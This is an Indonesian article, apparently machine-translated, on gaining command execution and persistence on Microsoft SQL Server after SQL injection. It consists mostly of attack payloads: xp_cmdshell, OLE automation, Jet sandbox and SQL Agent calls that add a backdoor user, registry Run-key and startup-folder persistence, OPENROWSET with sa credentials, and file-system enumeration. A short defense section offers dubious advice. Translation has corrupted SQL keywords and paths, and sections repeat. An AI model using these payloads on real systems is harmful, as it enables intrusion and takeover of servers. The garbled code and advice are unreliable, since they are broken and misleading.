SQL Server adalah database yang banyak digunakan oleh situs web berukuran kecil dan menengah. Karena fungsinya yang kuat, ini juga menyebabkan banyak masalah keamanan. Serangan injeksi SQL telah populer di Tiongkok sejak lama, yang mengakibatkan aliran teknik intrusi yang tiada habisnya untuk SQL Server. Karena SQL Server mendukung banyak pernyataan, saya yakin banyak peretas jarang menggunakan metode seperti menebak nama tabel saat menyuntikkan SQL ke SQL Server, tetapi langsung beralih menggunakan prosedur dan fungsi tersimpan SQL Server untuk mendapatkan izin dengan cepat fokus pada sistem SQL Server. Prosedur dan fungsi tersimpan untuk memperkenalkan peretasan ini.
1. Jalankan perintah sistem
Dengan menggunakan prosedur tersimpan, kita dapat dengan cepat dan mudah mendapatkan shell, seperti menjalankan perintah sistem. Panggilan ekstensi penyimpanan adalah sebagai berikut:
exec master..xp_cmdshell 'pengguna bersih ray ray /tambahkan'
xp_cmdshell adalah prosedur tersimpan perintah sistem yang disertakan dengan SQL Server. Secara default, hanya peran server SYSADMIN yang dapat menjalankannya.
Menggunakan antarmuka objek OLE, SQL SERVER menyediakan beberapa fungsi untuk mengakses objek OLE, yaitu sp_OACREATE dan sp_OAMethod. Anda dapat menggunakannya untuk memanggil kontrol OLE dan secara tidak langsung mendapatkan shell. Gunakan SP_OAcreate untuk memanggil objek wscript. shell ditugaskan ke variabel @shell, dan kemudian menggunakan SP_OAMETHOD untuk memanggil atribut run @shell untuk menjalankan perintah.
DEKLARASIKAN @shell INT
EXEC SP_OAbuat 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'jalankan',null, 'pengguna bersih ray ray /tambahkan'
Mengaktifkan mode akses kotak pasir. Secara default, mesin data Jet tidak mendukung pernyataan SQL seperti select shell ("net user ray ray /add"). Namun, setelah mengaktifkan mode kotak pasir mesin JET, Anda dapat mengaktifkannya jalankan perintah. Pertama gunakan Prosedur tersimpan xp_regwrite menulis ulang registri, kemudian menggunakan OpenRowSet untuk mengakses file database ACCESS yang disertakan dengan sistem itu sendiri, dan kemudian mengeksekusi pernyataan SQL untuk menjalankan perintah.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWareMicrosoftJet4.0 Engines','SandBoxMode','REG_DWORD',0
Pilih * Dari OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user ray ray /add")');
Selain itu, Anda juga dapat menggunakan Agen SQL untuk menjalankan perintah. Tentu saja, Anda harus terlebih dahulu membuka layanan Agen SQL. Layanan ini ditutup secara default. Pertama-tama kita dapat menggunakan xp_servicecontrol untuk membuka SQLSERVERAGENT, lalu membuat tugas terjadwal SQL. lalu segera jalankan tugas tersebut.
exec master.dbo.xp_servicecontrol 'mulai','SQLSERVERAGENT'
gunakan msdb exec sp_delete_job null,'x'
eksekutif sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:'
exec sp_add_jobserver Null,'x',@@namaserver exec sp_start_job 'x'
[Potong Halaman]
2. Tulis file sembarang untuk menjalankan perintah
Gunakan xp_regwrite untuk menulis entri registri dan langsung menulis perintah yang akan dieksekusi ke entri startup RUN.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
Cadangkan log ke item startup
Kita dapat mengaktifkan mode pemulihan penuh database, lalu membuat tabel baru, memasukkan perintah untuk dicadangkan ke dalam log, dan terakhir mencadangkan log ke dalam file batch ke folder startup pengguna mesin dihidupkan ulang.
ubah database msdb setel PEMULIHAN LENGKAP--
buat tabel cmd (gambar)--
cadangan log msdb ke disk = 'c:cmd1' dengan init--
masukkan ke dalam cmd (a) nilai ()--
log cadangan ISTO ke disk = 'C:Documents and SettingsAll Users"Start" MenuProgramsStartup1.bat'--
letakkan tabel cmd--
3. Pengguna dengan izin sewenang-wenang dapat menjalankan perintah
Dalam peran server dengan izin apa pun, kita dapat menggunakan makro OPENROWSET untuk menjalankan perintah selama kita mengetahui akun dan kata sandi peran SYSADMIN server.
pilih * dari OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')
[Potong Halaman]
4. Akuisisi sistem informasi lainnya
Direktori melintasi
exec master.dbo.xp_dirtree 'c:'
Dapatkan subdirektori
exec master.dbo.xp_subdirs 'c:'
Daftar partisi sistem yang tersedia
exec master.dbo.xp_availablemedia
Tentukan apakah direktori atau file ada
exec master..xp_fileexist 'c:boot.ini'
5. Ada cara untuk bertahan melawan injeksi SQL
1. Ubah struktur tabel. Ubah tipe data kolom akun administrator, ubah tipe teks menjadi kolom maksimum 255 (sebenarnya cukup, jika ingin memperbesar, Anda dapat memilih jenis catatan), dan atur kolom kata sandi dengan cara yang sama.
2. Ubah tabel. Tetapkan akun dengan hak administrator di ID1, dan masukkan banyak karakter Cina, sebaiknya lebih dari 100 karakter.
3. Masukkan kata sandi administrator asli di posisi mana pun setelah ID2.
Kami menyelesaikan modifikasi database melalui tiga langkah di atas.
Apakah modifikasinya sudah selesai saat ini? Nyatanya belum, Anda harus paham bahwa akun ID1 yang Anda buat sebenarnya adalah akun dengan izin yang sebenarnya hitung saja, ini tidak benar. Saya rasa kebanyakan orang sudah memikirkan caranya. Ya, tulis saja batas karakter di file halaman login administrator! Bahkan jika pihak lain menggunakan kata sandi akun ini dengan ribuan karakter, itu akan diblokir, dan kata sandi asli bisa tidak dibatasi.
[Potong Halaman]2. Tulis file sembarang untuk menjalankan perintah
Gunakan xp_regwrite untuk menulis entri registri dan langsung menulis perintah yang akan dieksekusi ke entri startup RUN.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
Cadangkan log ke item startup
Kita dapat mengaktifkan mode pemulihan penuh database, lalu membuat tabel baru, memasukkan perintah untuk dicadangkan ke dalam log, dan terakhir mencadangkan log ke dalam file batch ke folder startup pengguna mesin dihidupkan ulang.
ubah database msdb setel PEMULIHAN LENGKAP--
buat tabel cmd (gambar)--
cadangan log msdb ke disk = 'c:cmd1' dengan init--
masukkan ke dalam cmd (a) nilai ()--
log cadangan ISTO ke disk = 'C:Documents and SettingsAll Users"Start" MenuProgramsStartup1.bat'--
letakkan tabel cmd--
3. Pengguna dengan izin sewenang-wenang dapat menjalankan perintah
Dalam peran server dengan izin apa pun, kita dapat menggunakan makro OPENROWSET untuk menjalankan perintah selama kita mengetahui akun dan kata sandi peran SYSADMIN server.
pilih * dari OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')